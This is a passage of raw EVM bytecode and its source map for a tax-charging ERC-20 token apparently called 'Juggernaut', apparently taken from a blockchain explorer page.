726164696e6720697320616c7265616479206f70656e60448201526064016104b0565b6012546001600160a01b031663f305d71947306107bc816001600160a01b031660009081526001602052604090205490565b6000806107d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610839573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085e91906117b5565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db91906117e3565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016104b090611751565b61092b6009600a61172b565b61093990633b9aca0061173a565b600f556109486009600a61172b565b61095690633b9aca0061173a565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6109866009600a61172b565b61099490633b9aca0061173a565b60405190815260200160405180910390a1565b60006103f2338484610b22565b6109c06009600a61172b565b6109ce90633b9aca0061173a565b6001600160a01b0392831660009081526002602090815260408083209490951682529290925291902055565b6001600160a01b038316610a5f5760405162461bcd60e51b815260206004820152602660248201527f4a7567676e75743a20617070726f76652066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104b0565b6001600160a01b038216610ac15760405162461bcd60e51b8152602060048201526024808201527f4a7567676e75743a20617070726f766520746f20746865207a65726f206164646044820152637265737360e01b60648201526084016104b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b885760405162461bcd60e51b815260206004820152602760248201527f4a7567676e75743a207472616e736665722066726f6d20746865207a65726f206044820152666164647265737360c81b60648201526084016104b0565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602560248201527f4a7567676e75743a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016104b0565b60008111610c575760405162461bcd60e51b815260206004820152603260248201527f4a7567676e75743a205472616e7366657220616d6f756e74206d7573742062656044820152712067726561746572207468616e207a65726f60701b60648201526084016104b0565b6001600160a01b03831660009081526003602052604081205460ff16158015610c9957506001600160a01b03831660009081526003602052604090205460ff16155b15611023576001600160a01b03841660009081526004602052604090205460ff16158015610ce057506001600160a01b03831660009081526004602052604090205460ff16155b610ce957600080fd5b600e54600003610d2257610d1f6064610d19600a54600e5411610d0e57600654610d12565b6008545b85906111a0565b90611230565b90505b600e5415610d4757610d446064610d19600d54856111a090919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d7257506012546001600160a01b03848116911614155b8015610d9757506001600160a01b03831660009081526003602052604090205460ff16155b15610ebc57600f54821115610e025760405162461bcd60e51b815260206004820152602b60248201527f4a7567676e75743a204578636565647320746865206d6178207472616e73616360448201526a1d1a5bdb88185b5bdd5b9d60aa1b60648201526084016104b0565b60105482610e25856001600160a01b031660009081526001602052604090205490565b610e2f9190611805565b1115610e895760405162461bcd60e51b8152602060048201526024808201527f4a7567676e75743a204578636565647320746865206d61782077616c6c65742060448201526373697a6560e01b60648201526084016104b0565b610ea46064610d19600a54600e5411610d0e57600654610d12565b600e80549192506000610eb683611818565b91905055505b6013546001600160a01b038481169116148015610ee257506001600160a01b0384163014155b15610f0f57610f0c6064610d19600b54600e5411610f0257600754610d12565b60095485906111a0565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f4657506013546001600160a01b038581169116145b8015610f5b5750601354600160b01b900460ff165b8015610f6a5750600c54600e54115b1561102157601554431115610f7f5760006014555b600360145410610fe15760405162461bcd60e51b815260206004820152602760248201527f4a7567676e75743a204f6e6c7920332073656c6c732070657220626c6f636b20604482015266185b1b1bddd95960ca1b60648201526084016104b0565b610ffe610ff984610ff484601154611255565b611255565b61126a565b6110074761140d565b6014805490600061101783611818565b9091555050436015555b505b801561109d5730600090815260016020526040902054611043908261144b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110949085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110c090836114b5565b6001600160a01b0385166000908152600160205260409020556111056110e683836114b5565b6001600160a01b0385166000908152600160205260409020549061144b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114f85856114b5565b60405190815260200160405180910390a350505050565b6000818484111561118a5760405162461bcd60e51b81526004016104b0919061154c565b5060006111978486611831565b95945050505050565b6000826000036111b2575060006103f6565b60006111be838561173a565b9050826111cb8583611844565b146112295760405162461bcd60e51b815260206004820152602860248201527f4a7567676e7574536166654d6174683a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b60648201526084016104b0565b9392505050565b60006112298383604051806060016040528060218152602001611918602191396114da565b60008183116112645782611229565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b2576112b2611866565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112e057506113fd565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190611798565b8160018151811061136a5761136a611866565b6001600160a01b03928316602091820292909201015260125461139091309116846109fa565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c990859060009086903090429060040161187c565b600060405180830381600087803b1580156113e357600080fd5b505af11580156113f7573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611447573d6000803e3d6000fd5b5050565b6000806114588385611805565b9050838110156112295760405162461bcd60e51b815260206004820152602260248201527f4a7567676e7574536166654d6174683a206164646974696f6e206f766572666c6044820152616f7760f01b60648201526084016104b0565b6000611229838360405180606001604052806025815260200161193960259139611166565b600081836114fb5760405162461bcd60e51b81526004016104b0919061154c565b5060006111978486611844565b6001600160a01b038116811461151d57600080fd5b50565b6000806040838503121561153357600080fd5b823561153e81611508565b946020939093013593505050565b600060208083528351808285015260005b818110156115795785810183015185820160400152820161155d565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806000606084860312156115af57600080fd5b83356115ba81611508565b925060208401356115ca81611508565b929592945050506040919091013590565b6000602082840312156115ed57600080fd5b813561122981611508565b6000806040838503121561160b57600080fd5b823561161681611508565b9150602083013561162681611508565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168257816000190482111561166857611668611631565b8085161561167557918102915b93841c939080029061164c565b509250929050565b600082611699575060016103f6565b816116a6575060006103f6565b81600181146116bc57600281146116c6576116e2565b60019150506103f6565b60ff8411156116d7576116d7611631565b50506001821b6103f6565b5060208310610133831016604e8410600b8410161715611705575081810a6103f6565b61170f8383611647565b806000190482111561172357611723611631565b029392505050565b600061122960ff84168361168a565b80820281158282048414176103f6576103f6611631565b60208082526027908201527f4a7567676e75744f776e61626c653a2063616c6c6572206973206e6f74207468604082015266329037bbb732b960c91b606082015260800190565b6000602082840312156117aa57600080fd5b815161122981611508565b6000806000606084860312156117ca57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117f557600080fd5b8151801515811461122957600080fd5b808201808211156103f6576103f6611631565b60006001820161182a5761182a611631565b5060010190565b818103818111156103f6576103f6611631565b60008261186157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cc5784516001600160a01b0316835293830193918301916001016118a7565b50506001600160a01b0396909616606085015250505060800152939250505056fe4a7567676e75743a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654a7567676e7574536166654d6174683a206469766973696f6e206279207a65726f4a7567676e7574536166654d6174683a207375627472616374696f6e206f766572666c6f77a26469706673582212201c41b503150a885f9965be379962e85b6e98283e42ea620bd3cc15ed48682ecb64736f6c63430008130033

Deployed Bytecode Sourcemap

3597:8182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9819:207;;;;;;;;;;-1:-1:-1;9819:207:0;;;;;:::i;:::-;;:::i;:::-;;4594:63;;;;;;;;;;;;;;;;;;;640:25:1;;;628:2;613:18;4594:63:0;;;;;;;;5629:83;;;;;;;;;;-1:-1:-1;5699:5:0;;;;;;;;;;;;-1:-1:-1;;;5699:5:0;;;;5629:83;;;;;;;:::i;6591:161::-;;;;;;;;;;-1:-1:-1;6591:161:0;;;;;:::i;:::-;;:::i;:::-;;;1722:14:1;;1715:22;1697:41;;1685:2;1670:18;6591:161:0;1557:187:1;5906:100:0;;;;;;;;;;;;;:::i;6760:315::-;;;;;;;;;;-1:-1:-1;6760:315:0;;;;;:::i;:::-;;:::i;5815:83::-;;;;;;;;;;-1:-1:-1;5815:83:0;;4398:1;2368:36:1;;2356:2;2341:18;5815:83:0;2226:184:1;10988:333:0;;;;;;;;;;;;;:::i;4730:56::-;;;;;;;;;;;;;;;;6014:119;;;;;;;;;;-1:-1:-1;6014:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;2684:148;;;;;;;;;;;;;:::i;2463:79::-;;;;;;;;;;-1:-1:-1;2501:7:0;2528:6;2463:79;;-1:-1:-1;;;;;2528:6:0;;;2821:51:1;;2809:2;2794:18;2463:79:0;2675:203:1;11329:410:0;;;;;;;;;;;;;:::i;5720:87::-;;;;;;;;;;-1:-1:-1;5792:7:0;;;;;;;;;;;;-1:-1:-1;;;5792:7:0;;;;5720:87;;10675:199;;;;;;;;;;;;;:::i;6141:167::-;;;;;;;;;;-1:-1:-1;6141:167:0;;;;;:::i;:::-;;:::i;4664:59::-;;;;;;;;;;;;;;;;6316:143;;;;;;;;;;-1:-1:-1;6316:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6424:18:0;;;6397:7;6424:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6316:143;9819:207;9928:14;;-1:-1:-1;;;;;9928:14:0;9914:10;:28;9906:37;;;;;;9959:12;;9954:28;;-1:-1:-1;;;;;9959:12:0;9973:8;9954:4;:28::i;:::-;-1:-1:-1;9993:14:0;:25;;-1:-1:-1;;;;;;9993:25:0;-1:-1:-1;;;;;9993:25:0;;;;;;;;;;9819:207::o;6591:161::-;6666:4;6683:39;249:10;6706:7;6715:6;6683:8;:39::i;:::-;-1:-1:-1;6740:4:0;6591:161;;;;;:::o;5906:100::-;5959:7;4459:13;4398:1;4459:2;:13;:::i;:::-;4446:26;;:10;:26;:::i;:::-;5979:19;;5906:100;:::o;6760:315::-;6858:4;6875:36;6885:6;6893:9;6904:6;6875:9;:36::i;:::-;6922:123;6931:6;249:10;6953:91;6991:6;6953:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6953:19:0;;;;;;:11;:19;;;;;;;;249:10;6953:33;;;;;;;;;;:37;:91::i;:::-;6922:8;:123::i;:::-;-1:-1:-1;7063:4:0;6760:315;;;;;:::o;10988:333::-;2590:6;;-1:-1:-1;;;;;2590:6:0;249:10;2590:22;2582:74;;;;-1:-1:-1;;;2582:74:0;;;;;;;:::i;:::-;;;;;;;;;11047:14:::1;:77:::0;;-1:-1:-1;;;;;;11047:77:0::1;11081:42;11047:77:::0;;::::1;::::0;;;11135:62:::1;::::0;11152:4:::1;::::0;4459:13:::1;4398:1;4459:2;:13;:::i;:::-;4446:26;::::0;:10:::1;:26;:::i;11135:62::-;11239:14;;;;;;;;;-1:-1:-1::0;;;;;11239:14:0::1;-1:-1:-1::0;;;;;11239:22:0::1;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11223:52:0::1;;11284:4;11291:14;;;;;;;;;-1:-1:-1::0;;;;;11291:14:0::1;-1:-1:-1::0;;;;;11291:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11223:90;::::0;-1:-1:-1;;;;;;11223:90:0::1;::::0;;;;;;-1:-1:-1;;;;;5882:15:1;;;11223:90:0::1;::::0;::::1;5864:34:1::0;5934:15;;5914:18;;;5907:43;5799:18;;11223:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11208:12;:105:::0;;-1:-1:-1;;;;;;11208:105:0::1;-1:-1:-1::0;;;;;11208:105:0;;;::::1;::::0;;;::::1;::::0;;10988:333::o;2684:148::-;2590:6;;-1:-1:-1;;;;;2590:6:0;249:10;2590:22;2582:74;;;;-1:-1:-1;;;2582:74:0;;;;;;;:::i;:::-;2791:1:::1;2775:6:::0;;2754:40:::1;::::0;-1:-1:-1;;;;;2775:6:0;;::::1;::::0;2754:40:::1;::::0;2791:1;;2754:40:::1;2822:1;2805:19:::0;;-1:-1:-1;;;;;;2805:19:0::1;::::0;;2684:148::o;11329:410::-;2590:6;;-1:-1:-1;;;;;2590:6:0;249:10;2590:22;2582:74;;;;-1:-1:-1;;;2582:74:0;;;;;;;:::i;:::-;11393:12:::1;::::0;-1:-1:-1;;;11393:12:0;::::1;;;11392:13;11384:58;;;::::0;-1:-1:-1;;;11384:58:0;;6163:2:1;11384:58:0::1;::::0;::::1;6145:21:1::0;;;6182:18;;;6175:30;6241:34;6221:18;;;6214:62;6293:18;;11384:58:0::1;5961:356:1::0;11384:58:0::1;11453:14;::::0;-1:-1:-1;;;;;11453:14:0::1;:30;11491:21;11522:4;11529:24;11522:4:::0;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;11529:24:::1;11555:1;11558::::0;11561:7:::1;2501::::0;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;11561:7:::1;11453:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11453:133:0;;;-1:-1:-1;;;;;6681:15:1;;;11453:133:0::1;::::0;::::1;6663:34:1::0;6713:18;;;6706:34;;;;6756:18;;;6749:34;;;;6799:18;;;6792:34;6863:15;;;6842:19;;;6835:44;11570:15:0::1;6895:19:1::0;;;6888:35;6597:19;;11453:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11606:12:0::1;::::0;11636:14:::1;::::0;11597:71:::1;::::0;-1:-1:-1;;;11597:71:0;;-1:-1:-1;;;;;11636:14:0;;::::1;11597:71;::::0;::::1;7419:51:1::0;-1:-1:-1;;7486:18:1;;;7479:34;11606:12:0;::::1;::::0;-1:-1:-1;11597:30:0::1;::::0;7392:18:1;;11597:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11679:15:0::1;:22:::0;;-1:-1:-1;;;;11712:19:0;-1:-1:-1;;;11712:19:0;;;11329:410::o;10675:199::-;2590:6;;-1:-1:-1;;;;;2590:6:0;249:10;2590:22;2582:74;;;;-1:-1:-1;;;2582:74:0;;;;;;;:::i;:::-;4459:13:::1;4398:1;4459:2;:13;:::i;:::-;4446:26;::::0;:10:::1;:26;:::i;:::-;10730:21;:36:::0;4459:13:::1;4398:1;4459:2;:13;:::i;:::-;4446:26;::::0;:10:::1;:26;:::i;:::-;10777:17;:32:::0;10825:41:::1;4459:13;4398:1;4459:2;:13;:::i;:::-;4446:26;::::0;:10:::1;:26;:::i;:::-;10825:41;::::0;640:25:1;;;628:2;613:18;10825:41:0::1;;;;;;;10675:199::o:0;6141:167::-;6219:4;6236:42;249:10;6260:9;6271:6;6236:9;:42::i;6467:116::-;4459:13;4398:1;4459:2;:13;:::i;:::-;4446:26;;:10;:26;:::i;:::-;-1:-1:-1;;;;;6533:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:42;6467:116::o;7083:339::-;-1:-1:-1;;;;;7176:19:0;;7168:70;;;;-1:-1:-1;;;7168:70:0;;8008:2:1;7168:70:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:36;8183:19;;7168:70:0;7806:402:1;7168:70:0;-1:-1:-1;;;;;7257:21:0;;7249:70;;;;-1:-1:-1;;;7249:70:0;;8415:2:1;7249:70:0;;;8397:21:1;8454:2;8434:18;;;8427:30;8493:34;8473:18;;;8466:62;-1:-1:-1;;;8544:18:1;;;8537:34;8588:19;;7249:70:0;8213:400:1;7249:70:0;-1:-1:-1;;;;;7330:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7382:32;;640:25:1;;;7382:32:0;;613:18:1;7382:32:0;;;;;;;7083:339;;;:::o;7430:2381::-;-1:-1:-1;;;;;7518:18:0;;7510:70;;;;-1:-1:-1;;;7510:70:0;;8820:2:1;7510:70:0;;;8802:21:1;8859:2;8839:18;;;8832:30;8898:34;8878:18;;;8871:62;-1:-1:-1;;;8949:18:1;;;8942:37;8996:19;;7510:70:0;8618:403:1;7510:70:0;-1:-1:-1;;;;;7599:16:0;;7591:66;;;;-1:-1:-1;;;7591:66:0;;9228:2:1;7591:66:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:34;9286:18;;;9279:62;-1:-1:-1;;;9357:18:1;;;9350:35;9402:19;;7591:66:0;9026:401:1;7591:66:0;7685:1;7676:6;:10;7668:73;;;;-1:-1:-1;;;7668:73:0;;9634:2:1;7668:73:0;;;9616:21:1;9673:2;9653:18;;;9646:30;9712:34;9692:18;;;9685:62;-1:-1:-1;;;9763:18:1;;;9756:48;9821:19;;7668:73:0;9432:414:1;7668:73:0;-1:-1:-1;;;;;7787:24:0;;7752:17;7787:24;;;:18;:24;;;;;;;;7786:25;:52;;;;-1:-1:-1;;;;;;7816:22:0;;;;;;:18;:22;;;;;;;;7815:23;7786:52;7782:1660;;;-1:-1:-1;;;;;7864:11:0;;;;;;:5;:11;;;;;;;;7863:12;:26;;;;-1:-1:-1;;;;;;7880:9:0;;;;;;:5;:9;;;;;;;;7879:10;7863:26;7855:35;;;;;;7910:9;;7921:1;7910:12;7907:140;;7954:77;8027:3;7954:68;7976:17;;7966:9;;:27;7965:56;;8007:14;;7965:56;;;7995:11;;7965:56;7954:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7942:89;;7907:140;8064:9;;:11;8061:95;;8107:33;8136:3;8107:24;8118:12;;8107:6;:10;;:24;;;;:::i;:33::-;8095:45;;8061:95;8184:12;;-1:-1:-1;;;;;8176:20:0;;;8184:12;;8176:20;:53;;;;-1:-1:-1;8214:14:0;;-1:-1:-1;;;;;8200:29:0;;;8214:14;;8200:29;;8176:53;:80;;;;-1:-1:-1;;;;;;8234:22:0;;;;;;:18;:22;;;;;;;;8233:23;8176:80;8172:457;;;8295:21;;8285:6;:31;;8277:87;;;;-1:-1:-1;;;8277:87:0;;10053:2:1;8277:87:0;;;10035:21:1;10092:2;10072:18;;;10065:30;10131:34;10111:18;;;10104:62;-1:-1:-1;;;10182:18:1;;;10175:41;10233:19;;8277:87:0;9851:407:1;8277:87:0;8417:17;;8407:6;8391:13;8401:2;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;8391:13;:22;;;;:::i;:::-;:43;;8383:92;;;;-1:-1:-1;;;8383:92:0;;10595:2:1;8383:92:0;;;10577:21:1;10634:2;10614:18;;;10607:30;10673:34;10653:18;;;10646:62;-1:-1:-1;;;10724:18:1;;;10717:34;10768:19;;8383:92:0;10393:400:1;8383:92:0;8506:77;8579:3;8506:68;8528:17;;8518:9;;:27;8517:56;;8559:14;;8517:56;;8506:77;8602:9;:11;;8494:89;;-1:-1:-1;8602:9:0;:11;;;:::i;:::-;;;;;;8172:457;8654:12;;-1:-1:-1;;;;;8648:18:0;;;8654:12;;8648:18;:43;;;;-1:-1:-1;;;;;;8670:21:0;;8686:4;8670:21;;8648:43;8645:174;;;8723:80;8799:3;8723:71;8745:18;;8735:9;;:28;8734:59;;8778:15;;8734:59;;;8765:12;;8723:6;;:10;:71::i;:80::-;8711:92;;8645:174;8884:4;8835:28;6107:18;;;:9;:18;;;;;;8910:7;;-1:-1:-1;;;8910:7:0;;;;8909:8;:30;;;;-1:-1:-1;8927:12:0;;-1:-1:-1;;;;;8921:18:0;;;8927:12;;8921:18;8909:30;:49;;;;-1:-1:-1;8943:15:0;;-1:-1:-1;;;8943:15:0;;;;8909:49;:83;;;;;8974:18;;8962:9;;:30;8909:83;8905:526;;;9032:14;;9017:12;:29;9013:92;;;9084:1;9071:10;:14;9013:92;9144:1;9131:10;;:14;9123:66;;;;-1:-1:-1;;;9123:66:0;;11140:2:1;9123:66:0;;;11122:21:1;11179:2;11159:18;;;11152:30;11218:34;11198:18;;;11191:62;-1:-1:-1;;;11269:18:1;;;11262:37;11316:19;;9123:66:0;10938:403:1;9123:66:0;9208:72;9225:54;9229:6;9237:41;9241:20;9263:14;;9237:3;:41::i;:::-;9225:3;:54::i;:::-;9208:16;:72::i;:::-;9299:37;9314:21;9299:14;:37::i;:::-;9355:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9403:12:0;9386:14;:29;8905:526;7840:1602;7782:1660;9457:13;;9454:170;;9531:4;9513:24;;;;:9;:24;;;;;;:39;;9542:9;9513:28;:39::i;:::-;9504:4;9486:24;;;;:9;:24;;;;;;;:66;;;;9572:40;;-1:-1:-1;;;;;9572:40:0;;;;;;;9602:9;640:25:1;;628:2;613:18;;494:177;9572:40:0;;;;;;;;9454:170;-1:-1:-1;;;;;9652:15:0;;;;;;:9;:15;;;;;;:27;;9672:6;9652:19;:27::i;:::-;-1:-1:-1;;;;;9634:15:0;;;;;;:9;:15;;;;;:45;9706:40;9724:21;:6;9735:9;9724:10;:21::i;:::-;-1:-1:-1;;;;;9706:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9690:13:0;;;;;;;:9;:13;;;;;:56;;;;9762:41;;;9781:21;:6;9792:9;9781:10;:21::i;:::-;9762:41;;640:25:1;;;628:2;613:18;9762:41:0;;;;;;;7499:2312;7430:2381;;;:::o;1329:190::-;1415:7;1451:12;1443:6;;;;1435:29;;;;-1:-1:-1;;;1435:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1475:9:0;1487:5;1491:1;1487;:5;:::i;:::-;1475:17;1329:190;-1:-1:-1;;;;;1329:190:0:o;1527:253::-;1585:7;1609:1;1614;1609:6;1605:47;;-1:-1:-1;1639:1:0;1632:8;;1605:47;1662:9;1674:5;1678:1;1674;:5;:::i;:::-;1662:17;-1:-1:-1;1707:1:0;1698:5;1702:1;1662:17;1698:5;:::i;:::-;:10;1690:63;;;;-1:-1:-1;;;1690:63:0;;11903:2:1;1690:63:0;;;11885:21:1;11942:2;11922:18;;;11915:30;11981:34;11961:18;;;11954:62;-1:-1:-1;;;12032:18:1;;;12025:38;12080:19;;1690:63:0;11701:404:1;1690:63:0;1771:1;1527:253;-1:-1:-1;;;1527:253:0:o;1788:139::-;1846:7;1873:46;1877:1;1880;1873:46;;;;;;;;;;;;;;;;;:3;:46::i;10034:106::-;10091:7;10122:1;10118;:5;10117:15;;10131:1;10117:15;;;-1:-1:-1;10127:1:0;10034:106;-1:-1:-1;10034:106:0:o;10148:519::-;5218:7;:14;;-1:-1:-1;;;;5218:14:0;-1:-1:-1;;;5218:14:0;;;10250:16:::1;::::0;;10264:1:::1;10250:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10250:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10250:16:0::1;10226:40;;10295:4;10277;10282:1;10277:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10277:23:0::1;;;-1:-1:-1::0;;;;;10277:23:0::1;;;::::0;::::1;10315:11;10330:1;10315:16:::0;10311:29:::1;;10333:7;;;10311:29;10360:14;;;;;;;;;-1:-1:-1::0;;;;;10360:14:0::1;-1:-1:-1::0;;;;;10360:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10350:4;10355:1;10350:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10350:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10424:14:::1;::::0;10392:61:::1;::::0;10409:4:::1;::::0;10424:14:::1;10441:11:::0;10392:8:::1;:61::i;:::-;10464:14;::::0;:195:::1;::::0;-1:-1:-1;;;10464:195:0;;-1:-1:-1;;;;;10464:14:0;;::::1;::::0;:65:::1;::::0;:195:::1;::::0;10544:11;;10464:14:::1;::::0;10586:4;;10613::::1;::::0;10633:15:::1;::::0;10464:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10215:452;5243:1;-1:-1:-1::0;5255:7:0;:15;;-1:-1:-1;;;;5255:15:0;;;10148:519::o;10882:98::-;10941:14;;:31;;-1:-1:-1;;;;;10941:14:0;;;;:31;;;;;10965:6;;10941:14;:31;:14;:31;10965:6;10941:14;:31;;;;;;;;;;;;;;;;;;;;;10882:98;:::o;984:186::-;1042:7;;1074:5;1078:1;1074;:5;:::i;:::-;1062:17;;1103:1;1098;:6;;1090:53;;;;-1:-1:-1;;;1090:53:0;;13561:2:1;1090:53:0;;;13543:21:1;13600:2;13580:18;;;13573:30;13639:34;13619:18;;;13612:62;-1:-1:-1;;;13690:18:1;;;13683:32;13732:19;;1090:53:0;13359:398:1;1178:143:0;1236:7;1263:50;1267:1;1270;1263:50;;;;;;;;;;;;;;;;;:3;:50::i;1935:189::-;2021:7;2056:12;2049:5;2041:28;;;;-1:-1:-1;;;2041:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2080:9:0;2092:5;2096:1;2092;:5;:::i;14:139:1:-;-1:-1:-1;;;;;97:31:1;;87:42;;77:70;;143:1;140;133:12;77:70;14:139;:::o;158:331::-;234:6;242;295:2;283:9;274:7;270:23;266:32;263:52;;;311:1;308;301:12;263:52;350:9;337:23;369:39;402:5;369:39;:::i;:::-;427:5;479:2;464:18;;;;451:32;;-1:-1:-1;;;158:331:1:o;676:548::-;788:4;817:2;846;835:9;828:21;878:6;872:13;921:6;916:2;905:9;901:18;894:34;946:1;956:140;970:6;967:1;964:13;956:140;;;1065:14;;;1061:23;;1055:30;1031:17;;;1050:2;1027:26;1020:66;985:10;;956:140;;;960:3;1145:1;1140:2;1131:6;1120:9;1116:22;1112:31;1105:42;1215:2;1208;1204:7;1199:2;1191:6;1187:15;1183:29;1172:9;1168:45;1164:54;1156:62;;;;676:548;;;;:::o;1749:472::-;1826:6;1834;1842;1895:2;1883:9;1874:7;1870:23;1866:32;1863:52;;;1911:1;1908;1901:12;1863:52;1950:9;1937:23;1969:39;2002:5;1969:39;:::i;:::-;2027:5;-1:-1:-1;2084:2:1;2069:18;;2056:32;2097:41;2056:32;2097:41;:::i;:::-;1749:472;;2157:7;;-1:-1:-1;;;2211:2:1;2196:18;;;;2183:32;;1749:472::o;2415:255::-;2474:6;2527:2;2515:9;2506:7;2502:23;2498:32;2495:52;;;2543:1;2540;2533:12;2495:52;2582:9;2569:23;2601:39;2634:5;2601:39;:::i;2883:404::-;2951:6;2959;3012:2;3000:9;2991:7;2987:23;2983:32;2980:52;;;3028:1;3025;3018:12;2980:52;3067:9;3054:23;3086:39;3119:5;3086:39;:::i;:::-;3144:5;-1:-1:-1;3201:2:1;3186:18;;3173:32;3214:41;3173:32;3214:41;:::i;:::-;3274:7;3264:17;;;2883:404;;;;;:::o;3292:127::-;3353:10;3348:3;3344:20;3341:1;3334:31;3384:4;3381:1;3374:15;3408:4;3405:1;3398:15;3424:422;3513:1;3556:5;3513:1;3570:270;3591:7;3581:8;3578:21;3570:270;;;3650:4;3646:1;3642:6;3638:17;3632:4;3629:27;3626:53;;;3659:18;;:::i;:::-;3709:7;3699:8;3695:22;3692:55;;;3729:16;;;;3692:55;3808:22;;;;3768:15;;;;3570:270;;;3574:3;3424:422;;;;;:::o;3851:806::-;3900:5;3930:8;3920:80;;-1:-1:-1;3971:1:1;3985:5;;3920:80;4019:4;4009:76;;-1:-1:-1;4056:1:1;4070:5;;4009:76;4101:4;4119:1;4114:59;;;;4187:1;4182:130;;;;4094:218;;4114:59;4144:1;4135:10;;4158:5;;;4182:130;4219:3;4209:8;4206:17;4203:43;;;4226:18;;:::i;:::-;-1:-1:-1;;4282:1:1;4268:16;;4297:5;;4094:218;;4396:2;4386:8;4383:16;4377:3;4371:4;4368:13;4364:36;4358:2;4348:8;4345:16;4340:2;4334:4;4331:12;4327:35;4324:77;4321:159;;;-1:-1:-1;4433:19:1;;;4465:5;;4321:159;4512:34;4537:8;4531:4;4512:34;:::i;:::-;4582:6;4578:1;4574:6;4570:19;4561:7;4558:32;4555:58;;;4593:18;;:::i;:::-;4631:20;;3851:806;-1:-1:-1;;;3851:806:1:o;4662:140::-;4720:5;4749:47;4790:4;4780:8;4776:19;4770:4;4749:47;:::i;4807:168::-;4880:9;;;4911;;4928:15;;;4922:22;;4908:37;4898:71;;4949:18;;:::i;4980:403::-;5182:2